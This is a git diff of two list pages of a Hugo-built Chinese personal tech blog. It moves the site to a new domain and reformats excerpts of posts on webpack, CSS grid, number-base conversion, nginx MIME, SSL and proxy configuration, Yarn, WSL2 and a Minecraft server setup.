href=https://chenjunlinabc.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://chenjunlinabc.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://chenjunlinabc.github.io/favicon.ico","sameAs":["https://github.com/chenjunlinabc","mailto:chenjunlinabc123@foxmail.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-entry><header class=entry-header><h2>webpack学习笔记</h2></header><div class=entry-content><p>webpack作为模块加载和打包神器
 安装node就有npm了，用npm安装webpack
 npm i webpack webpack-cli -g 安装全局的webpack
 到项目目录下，npm init -y 初始化模块
@@ -15,25 +15,7 @@
 npx webpack A.js B.js
 会出现一个C.js
 配置webpack.config.js
-module.exports = {
-entry: '入口文件的路径',
-output: {
-path:__dirname,
-filename: '最后输出到哪个文件的文件名'
-},
-module: {
-rules: [{
-test: '处理什么格式的文件',
-use:[
-{
-loader: '依赖包'
-}
-]
-}
-]
-}
-};
-模块化...</p></div><footer class=entry-footer><span title='2021-06-24 10:11:00 +0000 UTC'>2021-06-24</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to webpack学习笔记" href=https://xiaochenabc123.github.io/posts/47/></a></article><article class=post-entry><header class=entry-header><h2>Grid布局学习笔记</h2></header><div class=entry-content><p>grid 布局
+module.exports = { entry: '入口文件的路径', output: { path:__dirname, filename: '最后输出到哪个文件的文件名' }, module: { rules: [{ test: '处理什么格式的文件', use:[ { loader: '依赖包' } ] } ] } }; 模块化...</p></div><footer class=entry-footer><span title='2021-06-24 10:11:00 +0000 UTC'>2021-06-24</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to webpack学习笔记" href=https://chenjunlinabc.github.io/posts/47/></a></article><article class=post-entry><header class=entry-header><h2>Grid布局学习笔记</h2></header><div class=entry-content><p>grid 布局
 grid布局和flex布局类似，不过grid是最强大的css布局方式
 grid布局是网格布局
 display: grid; // 定义grid布局，默认为块级元素
@@ -51,7 +33,7 @@
 grid-template-rows: auto; // 由浏览器决定行高
 grid-template-columns: [a1] 100px [a2] 100px [a3] auto; // 方括号[]内的的值是用于指定网格的名称
 grid-template-columns: 20% 60% 20%; // 左栏20%，中间60%，右栏20%，如果是重复的值搭配repeat使用更佳
-grid-row-gap: 10px; // 行间距（行与行的距离）...</p></div><footer class=entry-footer><span title='2021-06-23 10:29:00 +0000 UTC'>2021-06-23</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Grid布局学习笔记" href=https://xiaochenabc123.github.io/posts/45/></a></article><article class=post-entry><header class=entry-header><h2>css的一些知识扩展</h2></header><div class=entry-content><p>box-sizing 盒类型
+grid-row-gap: 10px; // 行间距（行与行的距离）...</p></div><footer class=entry-footer><span title='2021-06-23 10:29:00 +0000 UTC'>2021-06-23</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Grid布局学习笔记" href=https://chenjunlinabc.github.io/posts/45/></a></article><article class=post-entry><header class=entry-header><h2>css的一些知识扩展</h2></header><div class=entry-content><p>box-sizing 盒类型
 该属性是告诉浏览器是以什么盒模型展示的
 IE用的是border-box
 计算方式是外边距+内边距+内容=宽度（高度）
@@ -87,7 +69,7 @@
 all为横跨所有列
 media 媒体查询
 媒体查询常用于响应式布局，为不同屏幕设置不同的样式
-@media(max-width:768px){} // 当屏幕最大宽度只有768px时应用其下的设置...</p></div><footer class=entry-footer><span title='2021-06-23 09:16:00 +0000 UTC'>2021-06-23</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to css的一些知识扩展" href=https://xiaochenabc123.github.io/posts/44/></a></article><article class=post-entry><header class=entry-header><h2>一些常用的进制转换方法</h2></header><div class=entry-content><p>除2取余，逆序排列
+@media(max-width:768px){} // 当屏幕最大宽度只有768px时应用其下的设置...</p></div><footer class=entry-footer><span title='2021-06-23 09:16:00 +0000 UTC'>2021-06-23</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to css的一些知识扩展" href=https://chenjunlinabc.github.io/posts/44/></a></article><article class=post-entry><header class=entry-header><h2>一些常用的进制转换方法</h2></header><div class=entry-content><p>除2取余，逆序排列
 十进制（整数）转二进制一般使用"除2取余，逆序排列"法：
 1.先使用2整除2进制，得到商和余数
 2.然后再使用2整除商，得到新的商和余数
@@ -97,15 +79,15 @@
 例子： 100/2 = 50余 0 50/2= 25余 0 25/2=12余 1 12/2=6余 0 6/2 = 3余 0 3/2 =1 余 1 1/2=0余 1
 所以100的二进制为1100100
 小数转二进制
-乘2取整，顺序排列</p></div><footer class=entry-footer><span title='2021-06-20 20:07:00 +0000 UTC'>2021-06-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 一些常用的进制转换方法" href=https://xiaochenabc123.github.io/posts/43/></a></article><article class=post-entry><header class=entry-header><h2>记录一次MIME类型错误</h2></header><div class=entry-content><p>打开网页，发现css没有加载出来，f12一看，content-type: text/plain;，把这个css当文本输出了，浏览器请求到这种类型的文件都不会对其进行处理，而且应该是text/css才对
+乘2取整，顺序排列</p></div><footer class=entry-footer><span title='2021-06-20 20:07:00 +0000 UTC'>2021-06-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 一些常用的进制转换方法" href=https://chenjunlinabc.github.io/posts/43/></a></article><article class=post-entry><header class=entry-header><h2>记录一次MIME类型错误</h2></header><div class=entry-content><p>打开网页，发现css没有加载出来，f12一看，content-type: text/plain;，把这个css当文本输出了，浏览器请求到这种类型的文件都不会对其进行处理，而且应该是text/css才对
 先了解一下浏览器是如何处理这些数据的，是怎么区分的
 数据通过http传输协议获取到，然后由web服务器的content-type向浏览器进行指示数据的类型，而mime.types就是用来定义数据文件的类型，用什么格式来进行网页编码（charset=utf-8）
 当web服务器接收到请求时，会依据请求文件的后缀名在服务器的MIME配置文件中找到对应的mime.types，然后根据mime.types来确定content-type，浏览器根据content-type来处理数据
 解决方法：当然是指定mime.types文件，而宝塔的nginx一般是在/www/server/nginx目录下，而mime.types文件一般在nginx目录下的conf目录下，会看到一个叫mime.types的文件和一个叫mime.types.default的文件
 往nginx配置文件上输入 include /www/server/nginx/conf/mime.types; default_type application/octet-stream;
 第一个行指定mime.types，第二行就是默认类型
-然后重启一下nginx服务器，刷新一下网页，看到恢复成content-type: text/css了</p></div><footer class=entry-footer><span title='2021-06-17 08:25:00 +0000 UTC'>2021-06-17</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 记录一次MIME类型错误" href=https://xiaochenabc123.github.io/posts/39/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/page/17/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/page/19/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+然后重启一下nginx服务器，刷新一下网页，看到恢复成content-type: text/css了</p></div><footer class=entry-footer><span title='2021-06-17 08:25:00 +0000 UTC'>2021-06-17</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 记录一次MIME类型错误" href=https://chenjunlinabc.github.io/posts/39/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/page/17/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/page/19/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/page/19/index.html b/page/19/index.html
index 328e61c3..1896bf08 100644
--- a/page/19/index.html
+++ b/page/19/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta name=generator content="Hugo 0.111.3"><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content="Blog,Portfolio,PaperMod"><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/index.xml><link rel=alternate type=application/json href=https://xiaochenabc123.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://xiaochenabc123.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://xiaochenabc123.github.io/favicon.ico","sameAs":["https://github.com/xiaochenabc123","mailto:xiaochenabc123@qq.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-entry><header class=entry-header><h2>Yarn包管理工具的简单使用</h2></header><div class=entry-content><p>Yarn 是一款新的 JavaScript 包管理工具，和npm对比就是速度快，保持一致性，安全
+<!doctype html><html lang=en dir=auto><head><meta name=generator content="Hugo 0.119.0"><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content="Blog,Portfolio,PaperMod"><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/index.xml><link rel=alternate type=application/json href=https://chenjunlinabc.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://chenjunlinabc.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://chenjunlinabc.github.io/favicon.ico","sameAs":["https://github.com/chenjunlinabc","mailto:chenjunlinabc123@foxmail.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-entry><header class=entry-header><h2>Yarn包管理工具的简单使用</h2></header><div class=entry-content><p>Yarn 是一款新的 JavaScript 包管理工具，和npm对比就是速度快，保持一致性，安全
 速度快是因为yarn是并行执行任务，而不是npm那样排队列执行package，而且yarn还可以提供缓存，如果安装过一次package，使用yarn再次安装就会从缓存中获取，而不用再下载一次
 保持一致性：yarn提供了一个lockfile文件来记录要安装的package的版本号，锁定其版本不会出现错误，会生成yarn.lock文件来记录其package的版本号，就连依赖包的版本号都会被记录
 安全：yarn会在每个package被执行时校验其完整性
@@ -30,7 +30,7 @@
 更新包到指定版本
 yarn upgrade 包名@版本号
 更新包到最新版本
-yarn upgrade –latest 包名...</p></div><footer class=entry-footer><span title='2021-06-16 22:55:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Yarn包管理工具的简单使用" href=https://xiaochenabc123.github.io/posts/38/></a></article><article class=post-entry><header class=entry-header><h2>wsl2-windows子系统简单配置</h2></header><div class=entry-content><p>wsl全称Windows Subsystem for Linux
+yarn upgrade –latest 包名...</p></div><footer class=entry-footer><span title='2021-06-16 22:55:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Yarn包管理工具的简单使用" href=https://chenjunlinabc.github.io/posts/38/></a></article><article class=post-entry><header class=entry-header><h2>wsl2-windows子系统简单配置</h2></header><div class=entry-content><p>wsl全称Windows Subsystem for Linux
 打开启动或关闭windows功能，选择虚拟机平台，安装完毕功能，重启
 打开Windows Power Shell，输入
 启用 wsl
@@ -56,36 +56,22 @@
 wsl –install
 查看可用的Linux发行版
 wsl –list –online
-或者...</p></div><footer class=entry-footer><span title='2021-06-16 17:43:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to wsl2-windows子系统简单配置" href=https://xiaochenabc123.github.io/posts/35/></a></article><article class=post-entry><header class=entry-header><h2>Nginx服务器的一些简单配置</h2></header><div class=entry-content><p>配置ssl证书
+或者...</p></div><footer class=entry-footer><span title='2021-06-16 17:43:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to wsl2-windows子系统简单配置" href=https://chenjunlinabc.github.io/posts/35/></a></article><article class=post-entry><header class=entry-header><h2>Nginx服务器的一些简单配置</h2></header><div class=entry-content><p>配置ssl证书
 前提是已经申请到ssl证书,并且开放443端口
 编辑nginx.conf
 将443那几行的注释去掉（#）,并且修改
 ssl_certificate “crt证书的绝对路径”; ssl_certificate_key"key证书的绝对路径";
 如果想访问网站就301重定向到https，那么添加这几行
-server{
-listen 80;
-server_name xiaochenabc123.test.com;
-rewrite ^(.*) https://$host$1 permanent;
-}
-# 当使用80端口访问网站时，将301永久重定向到https://xiaochenabc123.test.com，达到全站https的效果
+server{ listen 80; server_name xiaochenabc123.test.com; rewrite ^(.*) https://$host$1 permanent; } # 当使用80端口访问网站时，将301永久重定向到https://xiaochenabc123.test.com，达到全站https的效果
 然后刷新一下配置nginx -s
 nginx反向代理配置
 将客户端请求转发给内部网络的其他目标服务端，并且将从其他服务端的结果返回到客户端，代理服务端和目标服务端，在外部看起来像是一个整体，只是将请求转发给其他服务端处理，从而达到减轻目标服务端的压力的效果
 配置nginx.conf
-location / {
-proxy_pass https://test.xiaochenabc123.test.com; # 反向代理服务器地址
-proxy_connect_timeout 200; # 设置连接超时
-proxy_read_timeout 200; # 设置读响应超时
-}
-重启Nginx服务：service nginx restart
+location / { proxy_pass https://test.xiaochenabc123.test.com; # 反向代理服务器地址 proxy_connect_timeout 200; # 设置连接超时 proxy_read_timeout 200; # 设置读响应超时 } 重启Nginx服务：service nginx restart
 请求当前服务器时，当前服务器将请求转发给地址为 https://test.xiaochenabc123.test.com 的服务器处理
 gzip压缩
-gzip on;
-gzip_comp_level 1; gzip_min_length 10;
-gzip_http_version 1.1;
-gzip_types text/html text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;
-解释：
-gzip on // gzip开启，关闭是off...</p></div><footer class=entry-footer><span title='2021-06-16 15:52:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Nginx服务器的一些简单配置" href=https://xiaochenabc123.github.io/posts/34/></a></article><article class=post-entry><header class=entry-header><h2>Linux环境下简单搭建Minecraft服务器（java版）</h2></header><div class=entry-content><p>服务器可以使用国内的，保证延迟低，服务器配置一定要高一点，不然很容易Killed
+gzip on; gzip_comp_level 1; gzip_min_length 10; gzip_http_version 1.1; gzip_types text/html text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript; 解释：
+gzip on // gzip开启，关闭是off...</p></div><footer class=entry-footer><span title='2021-06-16 15:52:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Nginx服务器的一些简单配置" href=https://chenjunlinabc.github.io/posts/34/></a></article><article class=post-entry><header class=entry-header><h2>Linux环境下简单搭建Minecraft服务器（java版）</h2></header><div class=entry-content><p>服务器可以使用国内的，保证延迟低，服务器配置一定要高一点，不然很容易Killed
 安装java
 dnf install java-openjdk
 检测java是否安装成功
@@ -113,11 +99,11 @@
 在服务端目录，找到server.properties文件
 修改这个文件，把onlinemode 改为 false
 MCSManager面板
